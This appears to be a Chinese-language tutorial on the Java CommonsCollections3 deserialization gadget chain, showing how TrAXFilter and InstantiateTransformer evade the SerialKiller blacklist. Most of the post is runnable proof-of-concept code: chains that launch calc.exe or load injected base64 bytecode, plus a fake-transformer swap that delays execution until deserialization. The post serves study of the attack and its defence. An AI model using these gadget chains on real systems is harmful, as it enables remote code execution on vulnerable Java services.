What is CommonsCollections3?
在字节码的动态加载章节,可以通过TemplatesImpl#newTransformer()
来加载字节码。
那么在实际的攻击中,该如何调用TemplatesImpl#newTransformer()
?
在CC1链学习时存在如下代码:通过ChainedTransformer#transform()
可以实现任意命令执行。
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } }
|
将TemplatesImpl
与ChainedTransformer
结合,来执行TemplatesImpl#newTransformer()
,构造代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CommonCollections3 { static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{ Field field=object.getClass().getDeclaredField(FieldName); field.setAccessible(true); field.set(object,value); } public static void main(String[] args)throws Exception { TemplatesImpl templates=new TemplatesImpl(); byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR"); SetFieldValue("_name",templates,"name"); SetFieldValue("_bytecodes",templates,new byte[][]{bytes}); SetFieldValue("_tfactory",templates,new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map innerMap=new HashMap(); Map outerMap=TransformedMap.decorate(innerMap,null,chainedTransformer); outerMap.put("test","xxxx"); } }
|
![image]()
之后再结合CC1提到的AnnotationInvocationHandler
便可以成功构造反序列化链。
Real CommonsCollections3
在ysoserial出现之后,随之而来的是一系列反序列化过滤器。
以SerialKiller为例,SerialKiller通过黑名单的形式来避免被反序列化攻击。如下图:
在SerialKiller诞生之初,通过将InvokerTransformer
加入黑名单来避免任意命令执行。为了对抗SerialKiller,CC3诞生了。
![image]()
看一下ysoserial中的CC3。核心代码如下:
1 2 3 4 5
| final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )};
|
这里用InstantiateTransformer
替换InvokerTransformer
InstantiateTransformer#transform()
如下:
其会获取参数input的构造方法。并将自身构造方法获取到的参数传递过去。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public Object transform(Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); } } catch (NoSuchMethodException var6) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException var7) { throw new FunctorException("InstantiateTransformer: InstantiationException", var7); } catch (IllegalAccessException var8) { throw new FunctorException("InstantiateTransformer: Constructor must be public", var8); } catch (InvocationTargetException var9) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9); } }
|
很明显这里获取到的input是TrAXFilter
, 查看其构造方法:
构造方法获取到的参数为Templates
,在构造方法中会执行templates.newTransformer()
。在这里就恰巧执行了TemplatesImpl#newTransformer()
,触发了任意命令执行。
1 2 3 4 5 6 7 8
| public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _overrideDefaultParser = _transformer.overrideDefaultParser(); }
|
手写POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CommonCollections3 { static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{ Field field=object.getClass().getDeclaredField(FieldName); field.setAccessible(true); field.set(object,value); } public static void main(String[] args)throws Exception { TemplatesImpl templates=new TemplatesImpl(); byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR"); SetFieldValue("_name",templates,"name"); SetFieldValue("_bytecodes",templates,new byte[][]{bytes}); SetFieldValue("_tfactory",templates,new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map innerMap=new HashMap(); Map outerMap=TransformedMap.decorate(innerMap,null,chainedTransformer); outerMap.put("test","xxxx"); } }
|
![image]()
jdk>1.8.0_71
在第一段最后提到过:结合CC1提到的AnnotationInvocationHandler
便可以成功构造反序列化链。
这里为什么没有提到“结合CC6中的TiedMapEntry
”来构造反序列化链呢?
尝试使用TiedMapEntry
构造POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class TiedMapEntryForCC3 { static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{ Field field=object.getClass().getDeclaredField(FieldName); field.setAccessible(true); field.set(object,value); }
public static void main(String[] args) throws Exception{ TemplatesImpl templates=new TemplatesImpl(); byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR"); SetFieldValue("_name",templates,"name"); SetFieldValue("_bytecodes",templates,new byte[][]{bytes}); SetFieldValue("_tfactory",templates,new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map innerMap=new HashMap(); Map lazyMap= LazyMap.decorate(innerMap,chainedTransformer); Map outerMap=new HashMap(); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"xxxx"); outerMap.put(tiedMapEntry,"test"); innerMap.remove("xxxx");
File file = new File("./a.txt"); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream(file); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); FileInputStream fileInputStream = new FileInputStream(file); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectOutputStream.writeObject(outerMap); objectInputStream.readObject();
} }
|
执行结果如下:
![image]()
回忆在CC6用TiedMapEntry
执行任意命令的情况。当时执行命令时弹出了两个计算器。根据上面的返回结果来看,却只打印了一个Hello World!
这里的打印结果是本地执行outerMap.put(tiedMapEntry,"test")
触发的,在打印完结果后,便会进行报错,导致无法进行序列化和反序列化。该如何解决?
直接上修改后的demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class TiedMapEntryForCC3 { static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{ Field field=object.getClass().getDeclaredField(FieldName); field.setAccessible(true); field.set(object,value); }
public static void main(String[] args) throws Exception{ TemplatesImpl templates=new TemplatesImpl(); byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR"); SetFieldValue("_name",templates,"name"); SetFieldValue("_bytecodes",templates,new byte[][]{bytes}); SetFieldValue("_tfactory",templates,new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; Transformer[] fakeTransformers=new Transformer[]{ new ConstantTransformer(1) }; ChainedTransformer chainedTransformer=new ChainedTransformer(fakeTransformers); Map innerMap=new HashMap(); Map lazyMap= LazyMap.decorate(innerMap,chainedTransformer); Map outerMap=new HashMap(); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"xxxx"); outerMap.put(tiedMapEntry,"test"); innerMap.remove("xxxx"); SetFieldValue("iTransformers",chainedTransformer,transformers);
File file = new File("./a.txt"); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream(file); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); FileInputStream fileInputStream = new FileInputStream(file); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectOutputStream.writeObject(outerMap); objectInputStream.readObject(); } }
|
和原来的代码相比,增加了fakeTransformers
,其没有实际意义,但可以避免本地运行时的命令执行。执行完outerMap.put()
之后,再通过反射修改ChainedTransformer
中的成员变量为真实的transformers
,即可保证反序列化时的正常命令执行。
总结
CC3和CC1、CC6的区别:
1 2 3 4 5 6
| Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) };
|